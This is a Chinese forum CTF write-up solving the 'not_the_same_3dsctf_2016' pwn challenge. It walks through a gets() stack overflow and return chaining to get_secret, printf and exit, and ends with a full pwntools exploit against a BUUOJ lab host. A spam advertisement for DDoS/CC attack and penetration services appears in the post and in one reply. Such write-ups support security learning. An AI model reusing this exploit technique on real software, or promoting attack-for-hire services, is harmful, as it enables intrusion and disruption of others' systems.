登录
/
注册
首页
论坛
其它
首页
科技
业界
安全
程序
广播
Follow
关于
导读
排行榜
资讯
发帖说明
登录
/
注册
账号
自动登录
找回密码
密码
登录
立即注册
搜索
搜索
关闭
CSDN热搜
程序园
精品问答
技术交流
资源下载
本版
帖子
用户
软件
问答
教程
代码
写记录
写博客
小组
VIP申请
VIP网盘
网盘
联系我们
发帖说明
道具
勋章
任务
淘帖
动态
分享
留言板
导读
设置
我的收藏
退出
腾讯QQ
微信登录
返回列表
首页
›
业界区
›
安全
›
PWN手的成长之路-08-not_the_same_3dsctf_2016-溢出+函 ...
PWN手的成长之路-08-not_the_same_3dsctf_2016-溢出+函数调用劫持
[ 复制链接 ]
韶侪
2025-10-15 14:00:12
猛犸象科技工作室:
网站开发,备案域名,渗透,服务器出租,DDOS/CC攻击,TG加粉引流
远程连接,没有什么可用信息。
file 查看文件。32 位 ELF 可执行文件。
checksec 查看文件安全属性。开启了 NX 保护,栈上无法执行。
IDA 打开文件。查看 main 函数,发现了 gets() 高危函数。
并且在 get_secret 函数中找到了后门。它用只读模式打开 flag.txt ,之后将文件存放在 fl4g 变量中。那么我们就可以想到,用 printf() 函数将 fl4g 变量内容打印出来。
分析 main函数的汇编代码,发现其没有 push 指令,并且 retn 没有设置返回地址,因此构造 exp 的时候就不需要覆盖返回地址。
计算溢出大小:0x2D+0=0x2D
我们需要调用 printf() 函数,所以我们要找到它的内存地址。
双击 printf,就找到了其内存地址
调用 printf 函数之前,我们需要了解
printf 函数的输出原理
:printf 函数并不会立即把输出内容写显示到屏幕上,而是先将输出内容写入到缓冲区中。只有满足一定条件时(比如缓冲区满,遇到换行符 \n 且开启了行缓冲模式、程序正常结束或调用 flush 函数刷新缓冲区等),缓冲区中的内容才会被实际输出到对应的设备上。
因此脚本就需要添加一个返回地址。
大致流程:先溢出,之后直接执行后门,让程序将 flag.txt 的内容存到 fl4g 变量中,再调用 printf 函数地址,因为这里 printf 函数得到输入后,没有结束程序,所以数据就会保存在缓冲区中,这时就要调用一个返回地址结束程序(exit 函数),然后触发 printf 的输出机制,再在后面添加 fl4g 变量的内存地址,让 printf 定位到 fl4g 的数据。(简洁流程:调用 printf 地址获取 fl4g 的内容,再调用 exit 结束地址触发缓冲区刷新以显示内容,最后到 fl4g 的内存地址,让 printf 定位数据。)
exit 函数地址(返回地址)
printf 函数地址。
fl4g 变量地址。
编写 exp:
from pwn import * r=remote('node5.buuoj.cn',29302) get_secret_addr=0x80489A0 printf_addr=0x0804F0A0 exit_addr=0x0804E660 flag_addr=0x080ECA2D payload=b'a'*(0x2D)+p32(get_secret_addr)+p32(printf_addr)+p32(exit_addr)+p32(flag_addr) r.sendline(payload) r.interactive()
复制代码
flag 被打印出来。
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
PWN
成长
之路
not
the
相关帖子
PWN手的成长之路-06-watevr_2019_voting_machine_1-栈溢出+劫持
第九届强网杯线上赛PWN_flag-market
pwn中常用函数
pwn中常用函数
架构之路(五):忘记数据库
[引]Regenerate the SAS key used in HTTP trigger flows
[引]Regenerate the SAS key used in HTTP trigger flows
⚠️登录认证功能的成长过程:整体概述
全真教与梅超风 谈程序员的修炼之路
报错“Message: session not created: probably user data directory
回复
使用道具
举报
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
千斤顶
照妖镜
相关推荐
安全
PWN手的成长之路-06-watevr_2019_voting_machine_1-栈溢出+劫持
2
301
浦乐
2025-10-22
科技
第九届强网杯线上赛PWN_flag-market
4
70
梁丘眉
2025-10-24
安全
pwn中常用函数
2
712
缑娅瑛
2025-10-28
安全
pwn中常用函数
2
849
仰翡邸
2025-10-28
业界
架构之路(五):忘记数据库
0
292
颜才
2025-10-31
业界
[引]Regenerate the SAS key used in HTTP trigger flows
2
842
旱由
2025-11-05
业界
[引]Regenerate the SAS key used in HTTP trigger flows
2
522
普料飕
2025-11-05
业界
⚠️登录认证功能的成长过程:整体概述
4
587
祝安芙
2025-11-24
业界
全真教与梅超风 谈程序员的修炼之路
0
592
窟聿湎
2025-11-29
安全
报错“Message: session not created: probably user data directory
3
803
韶又彤
2025-12-13
回复
(2)
骆贵
5 天前
回复
使用道具
举报
照妖镜
程序园永久vip申请,500美金$,无限下载程序园所有程序/软件/数据/等
这个好,看起来很实用
厨浴
半小时前
回复
使用道具
举报
照妖镜
猛犸象科技工作室:
网站开发,备案域名,渗透,服务器出租,DDOS/CC攻击,TG加粉引流
很好很强大 我过来先占个楼 待编辑
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
回复
本版积分规则
回帖并转播
回帖后跳转到最后一页
签约作者
程序园优秀签约作者
发帖
韶侪
半小时前
关注
0
粉丝关注
16
主题发布
板块介绍填写区域,请于后台编辑
财富榜{圆}
anyue1937
9994893
kk14977
6845357
3934307807
991123
4
xiangqian
638210
5
韶又彤
9998
6
宋子
9983
7
闰咄阅
9993
8
刎唇
9993
9
俞瑛瑶
9998
10
蓬森莉
9951
查看更多
今日好文热榜
237
AI运动识别插件-APP版新版特性速览
775
NetBox 自动化导入资产 - IP地址
80
在调度的花园里面挖呀挖
766
ACP:让 AI 编程工具配置从此告别碎片化 —
860
画高保真原型图用什么软件?产品经理与设计
63
企业数字化转型如何破局?看这三大招
752
解决 iOS 上 Swiper 滑动图片闪烁问题:原
424
OpenCV (C++) 提速技巧(以Haar小波变换为
206
Claude Code 使用 Skills
670
资源总是不够用?这次,我用一套系统盘活了
976
UniEdit:首个大型开放域大模型知识编辑基
575
Karmada v1.16 版本发布!支持多模板工作负
311
《ESP32-S3使用指南—IDF版 V1.6》第五十五
941
纯前端调用大模型真的安全吗?我踩过的坑比
898
【分析式AI】-带你秒弄懂决策树与随机森林
98
DBLens 的数据安全、登录方式与离线使用说
72
国内开发者合规订阅 Claude Code 的 3 条最
156
Perforce QAC 2025.3 新版上线 | 速度与深
476
防止跨站脚本攻击(XSS)(完整版HTTP安全
353
Wayland下RDP服务器的搭建